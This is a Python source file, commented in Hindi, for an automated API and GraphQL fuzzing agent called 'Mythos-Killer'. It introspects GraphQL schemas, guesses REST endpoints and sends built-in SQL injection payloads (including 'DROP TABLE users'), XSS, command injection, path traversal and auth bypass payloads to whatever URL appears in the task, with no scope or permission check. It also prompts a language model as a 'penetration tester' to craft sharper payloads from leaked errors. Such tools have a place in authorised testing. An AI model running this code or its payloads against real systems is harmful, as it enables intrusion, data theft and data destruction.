api_fuzzer_agent.py

# api_fuzzer_agent.py (Mythos-Killer v8.0 -- चौथी कैटेगरी: API & GraphQL फ़ज़िंग)
# यह फ़ाइल हमारे सिस्टम का "API फ़ज़र" एजेंट है।
# यह REST और GraphQL APIs की ऑटोमेटिक टेस्टिंग करके कमज़ोरियाँ ढूंढता है,
# और हर एरर से सीखकर अगला हमला और स्मार्ट बनाता है।

import os
import re
import json
import time
import logging
import datetime
from typing import Dict, Any, List, Optional, Tuple
from urllib.parse import urljoin

import requests as http_requests

# प्रोजेक्ट मॉड्यूल (वैकल्पिक)
try:
    from event_bus import get_event_bus, Events
    EVENT_BUS_AVAILABLE = True
except ImportError:
    EVENT_BUS_AVAILABLE = False
    Events = None


class ApiFuzzerAgent:
    """
    v8.0 API फ़ज़र एजेंट -- REST और GraphQL APIs के लिए इंटेलिजेंट फ़ज़िंग।

    यह एजेंट GraphQL स्कीमा को इंट्रोस्पेक्ट करता है, REST API के लिए
    OpenAPI स्पेक से टेस्ट केस जनरेट करता है, और AI-पावर्ड स्मार्ट म्यूटेशन
    के ज़रिए हर एरर से सीखकर अगला हमला बेहतर बनाता है।
    """

    SQLI_PAYLOADS = [
        "' OR '1'='1", "' OR 1=1 --", "admin'--", "1' OR '1'='1",
        "' UNION SELECT NULL--", "' UNION SELECT username,password FROM users--",
        "'; DROP TABLE users; --", "1' AND 1=0 UNION ALL SELECT 1,2,3,4,5 --",
    ]

    XSS_PAYLOADS = [
        "<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>",
        "<svg/onload=alert('XSS')>", "javascript:alert('XSS')",
    ]

    COMMAND_INJECTION_PAYLOADS = [
        "; ls -la", "| whoami", "$(whoami)", "`whoami`", "&& cat /etc/passwd",
        "; sleep 5", "| ping -c 5 127.0.0.1",
    ]

    PATH_TRAVERSAL_PAYLOADS = [
        "../../../etc/passwd", "..\\..\\..\\windows\\win.ini",
        "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
    ]

    AUTH_BYPASS_PAYLOADS = [
        "", "null", "undefined", "{}", "[]", "true", "false",
        "Bearer null", "Bearer undefined", "Basic YWRtaW46YWRtaW4=",
    ]

    # FIX 1 (CRITICAL): GraphQL syntax -- सभी ब्रैकेट्स बैलेंस्ड किए
    GRAPHQL_INTROSPECTION_QUERY = """
    query IntrospectionQuery {
      __schema {
        types { name kind fields { name type { name kind ofType { name kind } } } }
        queryType { name fields { name args { name type { name kind ofType { name kind } } } } }
        mutationType { name fields { name args { name type { name kind ofType { name kind } } } } }
      }
    }
    """

    # FIX 3 (HIGH): __init__ से sandbox_manager=None और tools=None हटाए
    def __init__(
        self,
        router=None,
        event_bus=None,
        request_timeout: int = 10,
    ):
        """
        ApiFuzzerAgent को आवश्यक सेवाओं के साथ प्रारंभ करता है।

        पैरामीटर्स:
            router: SmartModelRouter (AI कॉल के लिए)
            event_bus: EventBus इंस्टेंस
            request_timeout: HTTP रिक्वेस्ट का टाइमआउट (सेकंड)
        """
        self.router = router
        self.request_timeout = request_timeout

        # EventBus
        self.event_bus = event_bus
        if self.event_bus is None and EVENT_BUS_AVAILABLE:
            try:
                self.event_bus = get_event_bus()
            except Exception as e:
                logging.debug(e)

        # सेशन स्टोरेज
        self._session = http_requests.Session()
        self._session.headers.update({
            "User-Agent": "Mythos-Killer-ApiFuzzer/8.0",
            "Accept": "application/json, */*",
        })

        # स्टैट्स
        self.stats = {
            "requests_sent": 0,
            "vulnerabilities_found": 0,
            "endpoints_tested": 0,
            "mutations_learned": 0,
            "started_at": None,
        }

        # FIX 5 (LOW): स्टार्ट टाइम सेट करें
        self.stats["started_at"] = datetime.datetime.now(datetime.timezone.utc).isoformat()

    def _add_timeline(self, state: Dict, agent: str, status: str, message: str):
        if "timeline" not in state:
            state["timeline"] = []
        state["timeline"].append({
            "timestamp": datetime.datetime.now().strftime("%H:%M:%S"),
            "agent": agent,
            "status": status,
            "message": message
        })

    def _introspect_graphql(self, endpoint: str) -> Optional[Dict]:
        """GraphQL एंडपॉइंट से स्कीमा निकालता है।"""
        try:
            resp = self._session.post(
                endpoint,
                json={"query": self.GRAPHQL_INTROSPECTION_QUERY},
                timeout=self.request_timeout
            )
            if resp.status_code == 200 and "data" in resp.json():
                return resp.json()["data"]["__schema"]
        except Exception as e:
            logging.debug(e)
        return None

    def _generate_graphql_payloads(self, schema: Dict) -> List[Dict]:
        """GraphQL स्कीमा से सभी क्वेरी और म्यूटेशन के लिए टेस्ट पेलोड जनरेट करता है।"""
        payloads = []
        query_type = schema.get("queryType", {}).get("name", "Query")
        mutation_type = schema.get("mutationType", {}).get("name", "Mutation")

        for t in schema.get("types", []):
            if t.get("kind") != "OBJECT":
                continue
            type_name = t.get("name", "")
            for field in t.get("fields", []):
                field_name = field.get("name", "")
                if field_name.startswith("__"):
                    continue

                if type_name == query_type:
                    gql = f"query {{ {field_name} {{ id }} }}"
                elif type_name == mutation_type:
                    gql = f"mutation {{ {field_name}(input: {{}}) {{ id }} }}"
                else:
                    continue

                payloads.append({
                    "type": "graphql",
                    "query": gql,
                    "endpoint": "graphql",
                    "field": field_name,
                    "original_type": type_name,
                })
        return payloads

    def _discover_rest_endpoints(self, base_url: str) -> List[str]:
        """कॉमन REST API पैटर्न के आधार पर एंडपॉइंट खोजता है।"""
        common_paths = [
            "/api/v1/users", "/api/v1/login", "/api/v1/data",
            "/api/users", "/api/login", "/api/data",
            "/users", "/login", "/auth", "/graphql",
            "/api/v1/products", "/api/v1/orders",
            "/v1/users", "/v2/users",
        ]
        discovered = []
        for path in common_paths:
            try:
                url = urljoin(base_url, path)
                resp = self._session.get(url, timeout=5)
                if resp.status_code < 500:
                    discovered.append(path)
            except Exception as e:
                logging.debug(e)
        return discovered

    def _generate_smart_payloads(
        self, error_response: str, endpoint: str, method: str
    ) -> List[Dict]:
        """
        पिछले एरर रिस्पॉन्स से सीखकर नए, स्मार्ट पेलोड जनरेट करता है।
        """
        if not self.router:
            return []

        try:
            prompt = f"""
You are a penetration tester. The following API returned an error:
Endpoint: {endpoint}
Method: {method}
Response: {error_response[:1000]}

Generate 5 new attack payloads (JSON format) that target the specific technology
or vulnerability hinted at in this error message. If the error leaks a stack trace,
target that library version. If it shows SQL syntax, craft better SQLi payloads.

Return as JSON list: [{{"param": "value"}}, ...]
"""
            response = self.router.call(
                "deepseek/deepseek-r1", prompt,
                hidden_thinking=True,
                task_type="offensive"
            )

            json_match = re.search(r'\[.*\]', response, re.DOTALL)
            if json_match:
                payloads = json.loads(json_match.group(0))
                self.stats["mutations_learned"] += len(payloads)
                return payloads
        except Exception as e:
            logging.debug(e)
        return []

    def _analyze_response(
        self, resp: http_requests.Response, payload: str, endpoint: str
    ) -> Optional[Dict]:
        """
        API रिस्पॉन्स का विश्लेषण करके संभावित कमज़ोरी की पहचान करता है।
        """
        finding = None
        text = resp.text.lower()

        sql_errors = [
            "sql syntax", "mysql_fetch", "ora-", "postgresql",
            "sqlite3", "unclosed quotation mark", "warning: mysql",
        ]
        for err in sql_errors:
            if err in text:
                finding = {
                    "type": "SQL Injection",
                    "severity": "high",
                    "payload": payload,
                    "evidence": f"SQL error detected: {err}",
                    "endpoint": endpoint,
                    "status_code": resp.status_code,
                }
                break

        if not finding and payload in resp.text:
            finding = {
                "type": "Cross-Site Scripting (XSS)",
                "severity": "medium",
                "payload": payload,
                "evidence": "Payload reflected in response",
                "endpoint": endpoint,
                "status_code": resp.status_code,
            }

        if not finding:
            stack_indicators = ["traceback", "stack trace", "at line", "in <module>"]
            for ind in stack_indicators:
                if ind in text:
                    finding = {
                        "type": "Information Disclosure (Stack Trace)",
                        "severity": "low",
                        "payload": payload,
                        "evidence": "Stack trace leaked in response",
                        "endpoint": endpoint,
                        "status_code": resp.status_code,
                    }
                    break

        if not finding and resp.status_code == 500 and len(resp.text) > 100:
            finding = {
                "type": "Error-Based Information Leak",
                "severity": "medium",
                "payload": payload,
                "evidence": f"HTTP 500 with detailed error body ({len(resp.text)} chars)",
                "endpoint": endpoint,
                "status_code": resp.status_code,
            }

        if finding:
            finding["timestamp"] = datetime.datetime.now().isoformat()
            self.stats["vulnerabilities_found"] += 1
            return finding
        return None

    # FIX 2 (MEDIUM): AUTH_BYPASS_PAYLOADS को भी fuzz loop में शामिल किया
    def _fuzz_endpoint(
        self, url: str, method: str = "GET", param_name: str = "q",
        payloads: List[str] = None, smart_learning: bool = True
    ) -> Tuple[List[Dict], List[str]]:
        """
        एक API एंडपॉइंट पर फ़ज़िंग करता है।

        लौटाता है:
            (findings, learned_errors) -- कमज़ोरियाँ और सीखे गए एरर
        """
        if payloads is None:
            payloads = (
                self.SQLI_PAYLOADS + self.XSS_PAYLOADS +
                self.COMMAND_INJECTION_PAYLOADS + self.PATH_TRAVERSAL_PAYLOADS +
                self.AUTH_BYPASS_PAYLOADS
            )

        findings = []
        learned_errors = []

        for payload in payloads:
            self.stats["requests_sent"] += 1
            try:
                if method.upper() == "GET":
                    resp = self._session.get(
                        url, params={param_name: payload},
                        timeout=self.request_timeout
                    )
                else:
                    resp = self._session.post(
                        url, json={param_name: payload},
                        timeout=self.request_timeout
                    )

                finding = self._analyze_response(resp, payload, url)
                if finding:
                    findings.append(finding)
                    learned_errors.append(resp.text[:500])
            except Exception as e:
                logging.debug(e)

        if smart_learning and learned_errors and self.router:
            for error_text in learned_errors[:3]:
                new_payloads = self._generate_smart_payloads(error_text, url, method)
                for np in new_payloads:
                    if isinstance(np, dict):
                        for k, v in np.items():
                            try:
                                resp = self._session.get(
                                    url, params={k: str(v)},
                                    timeout=self.request_timeout
                                )
                                finding = self._analyze_response(resp, str(v), url)
                                if finding:
                                    findings.append(finding)
                            except Exception as e:
                                logging.debug(e)

        return findings, learned_errors

    def _generate_report(
        self, target: str, endpoints: List[str], findings: List[Dict], duration: float
    ) -> str:
        """API फ़ज़िंग की पूरी रिपोर्ट तैयार करता है।"""
        report = f"""# API Fuzzing Report -- Mythos-Killer v8.0

**Target:** {target}
**Scan Started:** {datetime.datetime.now().isoformat()}
**Duration:** {duration:.1f}s
**Endpoints Tested:** {len(endpoints)}
**Requests Sent:** {self.stats['requests_sent']}
**Vulnerabilities Found:** {len(findings)}
**Smart Mutations:** {self.stats['mutations_learned']}

## Endpoints Tested
"""
        for ep in endpoints:
            report += f"- `{ep}`\n"

        report += "\n## Findings\n"
        if findings:
            for i, f in enumerate(findings, 1):
                report += f"""
### {i}. {f['type']} -- {f['severity'].upper()}

| Property | Value |
|:---|:---|
| **Endpoint** | `{f['endpoint']}` |
| **Payload** | `{f['payload'][:100]}` |
| **Evidence** | {f['evidence']} |
| **HTTP Code** | {f['status_code']} |
| **Timestamp** | {f.get('timestamp', 'N/A')} |

"""
        else:
            report += "\nNo vulnerabilities found.\n"

        report += "\n## Chain of Custody\nThis report was generated automatically by Mythos-Killer v8.0 ApiFuzzerAgent.\nAll evidence is unmodified.\n"
        return report

    def run(self, state: Dict[str, Any], instruction: Optional[str] = None) -> Dict[str, Any]:
        """
        API फ़ज़िंग का मुख्य प्रवेश बिंदु।

        पैरामीटर्स:
            state: LangGraph स्टेट डिक्शनरी
            instruction: वैकल्पिक निर्देश

        लौटाता है:
            अपडेटेड state डिक्शनरी
        """
        task = instruction or state.get("command", "API fuzzing")
        target_url = state.get("target_url", "")

        # FIX 3 (HIGH): run के अंदर duplicate `import re` हटाया
        if not target_url:
            urls = re.findall(r'https?://[^\s<>"]+|www\.[^\s<>"]+', task)
            if urls:
                target_url = urls[0]
                if not target_url.startswith("http"):
                    target_url = "https://" + target_url

        if not target_url:
            self._add_timeline(state, "ApiFuzzer", "ERROR", "No URL found")
            state["api_fuzzer_error"] = "No target URL"
            state["investigation_complete"] = False
            return state

        self._add_timeline(state, "ApiFuzzer", "RUNNING", f"API fuzzing started: {target_url}")
        start_time = time.time()

        all_findings = []
        all_endpoints = []

        # Step 1: GraphQL Introspection
        graphql_endpoint = urljoin(target_url, "/graphql")
        schema = self._introspect_graphql(graphql_endpoint)
        if schema:
            self._add_timeline(state, "ApiFuzzer", "OK", "GraphQL schema retrieved")
            gql_payloads = self._generate_graphql_payloads(schema)
            all_endpoints.append("/graphql (GraphQL)")

            for gql in gql_payloads[:20]:
                try:
                    resp = self._session.post(
                        graphql_endpoint,
                        json={"query": gql["query"]},
                        timeout=self.request_timeout
                    )
                    self.stats["requests_sent"] += 1
                    finding = self._analyze_response(resp, gql["query"], graphql_endpoint)
                    if finding:
                        finding["graphql_field"] = gql.get("field", "")
                        all_findings.append(finding)
                except Exception as e:
                    logging.debug(e)
        else:
            self._add_timeline(state, "ApiFuzzer", "INFO", "No GraphQL endpoint, continuing with REST")

        # Step 2: REST API Discovery and Fuzzing
        rest_endpoints = self._discover_rest_endpoints(target_url)
        for ep in rest_endpoints:
            full_url = urljoin(target_url, ep)
            all_endpoints.append(ep)
            self.stats["endpoints_tested"] += 1

            findings, _ = self._fuzz_endpoint(full_url)
            all_findings.extend(findings)

            if findings:
                self._add_timeline(state, "ApiFuzzer", "ALERT",
                                   f"{ep}: {len(findings)} vulnerabilities found")

        # Step 3: Fuzz base URL if no REST endpoints discovered
        if not rest_endpoints:
            all_endpoints.append("/")
            self.stats["endpoints_tested"] += 1
            findings, _ = self._fuzz_endpoint(target_url)
            all_findings.extend(findings)

        duration = time.time() - start_time

        self._add_timeline(
            state, "ApiFuzzer",
            "COMPLETE" if all_findings else "CLEAN",
            f"Fuzzing done: {len(all_findings)} findings ({duration:.1f}s)"
        )

        report = self._generate_report(target_url, all_endpoints, all_findings, duration)
        state["api_fuzzer_report"] = report
        state["api_fuzzer_findings"] = all_findings
        state["current_step"] = "api_fuzzer_complete"
        state["investigation_complete"] = True

        return state

    def get_stats(self) -> Dict[str, Any]:
        """एजेंट के आँकड़े लौटाएँ।"""
        return dict(self.stats)